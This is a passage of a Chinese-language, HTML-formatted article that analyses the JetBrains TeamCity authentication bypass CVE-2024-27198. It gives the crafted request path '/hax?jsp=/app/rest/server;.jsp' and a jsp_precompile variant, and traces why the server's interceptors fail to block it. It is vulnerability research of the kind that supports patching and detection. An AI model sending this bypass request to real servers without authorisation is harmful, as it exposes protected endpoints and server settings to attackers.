auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=97680977&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp0QZzNuwoQD7GvZPLFFguAs8J4ib5xdW4GKpgVHdX6dMDMYyFJJAzjiaA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">构造 URL 为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/hax?jsp=/app/rest/server;.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，即可绕过身份验证访问到目标内容。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="285" data-backw="560" data-imgfileid="100004932" data-ratio="0.5088819226750261" width="560.010009765625" data-type="png" data-w="957" height="284.97998046875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=524cf5fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpBldicEZsVUKRR75hqwGNKldjj1oAdPwqwY8clsh5xNFLNduVDIjPcEA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span>    <o:page></o:page></p><p><span style="mso-bookmark:漏洞复现-2;"></span><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">3-2. 漏洞分析</strong></span></p><section style="margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">跟踪调试看一下，会先解析</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/hax</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">路由，由于这是一个不存在的路径，所以由 PageNotFoundController 处理，在获取视图时会返回</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">404.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，servlet 路径为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/404.html</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">；</span></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="372" data-backw="560" data-imgfileid="100004934" data-ratio="0.6641294005708849" width="560.010009765625" data-type="png" data-w="1051" height="371.91998291015625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6fc388f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpovsP2J8zYxSver7el7rIzNKfibRoWKv9ZsqTKYXz3Hlia49fsmFON0Mg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">PageNotFoundController 是继承 BaseController 的，返回到 BaseController.handleRequestInternal()，调用 updateViewIfRequestHasJspParameter() 方法；</span></span></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="223" data-backw="560" data-imgfileid="100004931" data-ratio="0.39814814814814814" width="560.010009765625" data-type="png" data-w="1080" height="223.03997802734375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=61a76988&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpOBCnW3w5ibRWAV0s7fpO2vSeL5OqdwGUZrRnBqIfPoPLs4f5jBvLB7g%2F640%3Fwx_fmt%3Dpng"/></span></span></span><o:page></o:page></section><section style="margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-top: 8px;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">跟进，根据是否存在视图名称以及 servlet 路径是否以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">结尾生成了一个布尔值，然后调用 getJspFromRequest() 方法，从请求中获取</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">参数值，当参数值为 null 或 以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">结尾，以及值中不包含</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">admin/</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">字符串，该方法就返回 true；</span></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">满足了 if 中的三个条件，就会重新将视图设置为 jsp 参数的值。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="271" data-backw="560" data-imgfileid="100004937" data-ratio="0.48518518518518516" width="560.010009765625" data-type="png" data-w="1080" height="271.4800109863281" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=58bf3526&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpK9QGDR5YQ4bA6lKHEr5FkMcMUIn3ORj0qQzvUh2FsEkKX3CUzaVTnA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">整理一下走到这一步需要的条件：</span></span></span></p><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">初始返回的视图不为 View 类型，且处理的 Controller 是 BaseController的子类</span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">视图名称不为null，且当前响应路径不以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"> .jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"> 结尾</span></span></span></section><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">请求时传入 jsp 参数，参数值以 </span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"> 结尾，且不含</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">admin/</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">字符串</span></span></span></p><p><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">此时视图名称变为了</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server;.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，jsp 参数是可控的，可以通过这种方法来访问任意需要身份验证的路径。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="140" data-backw="560" data-imgfileid="100004935" data-ratio="0.2497387669801463" width="560.010009765625" data-type="png" data-w="957" height="139.8599853515625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5cc08b48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpge9Zic2tL9RnV4VOYjPYOWo3hzXcib1DMvqV3xbZfScEM7DlhnTmgVmA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">处理器执行完后再次进入拦截器校验，但是 AuthorizationInterceptorImpl 并没有重写 postHandle() 方法，所以不会进行拦截。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="192" data-backw="560" data-imgfileid="100004938" data-ratio="0.3425925925925926" width="560.010009765625" data-type="png" data-w="1080" height="191.82000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4705d342&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpKYhw2g3DgXorHsRwqH8ibTK1LIGEQToqLn5PHYKmtCu1Kj4FSRZQyPg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">后续会像 CVE-2024-23197 一样的过程解析</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server;.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，在 RequestInterceptors 中，这里没有传入</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">jsp_precompile</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">参数，所以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">if (!this.requestPreHandlingAllowed(var1))</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">为 false，进入后面的代码；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">或者同样在 URL 后面拼接传入</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">&amp;?jsp_precompile=1</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，这里就能直接返回 true 了。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">继续看下面，此时</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">__tc_requestStack</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">值为2，所以不会再遍历</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myInterceptors</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，略过了 AuthorizationInterceptorImpl 的校验，RequestInterceptors.preHandle() 方法返回 true。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="353" data-backw="560" data-imgfileid="100004936" data-ratio="0.6305555555555555" width="560.010009765625" data-type="png" data-w="1080" height="353.3499755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=15b10368&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpnrSwQ2jpMGZ313Aer6wlgM1byb8LYpjy7F9T7pLnCaKqyvudLA3TWQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">关于新增的 Proxy 拦截器，不知道其具体内容，这里也不会拦截。于是通过所有拦截器校验，返回 true。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="198" data-backw="560" data-imgfileid="100004939" data-ratio="0.3537037037037037" width="560.010009765625" data-type="png" data-w="1080" height="198.22000122070312" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=dfb1e80f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp9oKEGicRhicibIU2fQFp6bYBR4BsVNfG0UNDm2qGKpBe3Bo5fjvniaaBzw%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">后续 Tomcat 会自动忽略掉</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">;.jsp</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，就会解析返回</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞分析-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">对应的内容。</span></span></span></p><p><span style="mso-bookmark:cve-2024-27198;"></span><span style="mso-bookmark:漏洞分析-2;"></span><span style="outline: 0px;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;visibility: visible;">4. CVE-2024</span><span style="outline: 0px;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;visibility: visible;">-27199</span> </p><section style="margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">漏洞描述</strong><span style="mso-bookmark:cve-2024-27199;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="mso-bookmark:cve-2024-27199;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><span style="mso-spacerun:yes;"> </span>TeamCity Web 服务器中某些旁路允许在没有身份验证的情况下访问有限数量的经过身份验证的端点。未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置，并泄露服务器上有限数量的敏感信息。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">影响版本</strong><span style="mso-bookmark:cve-2024-27199;"><span 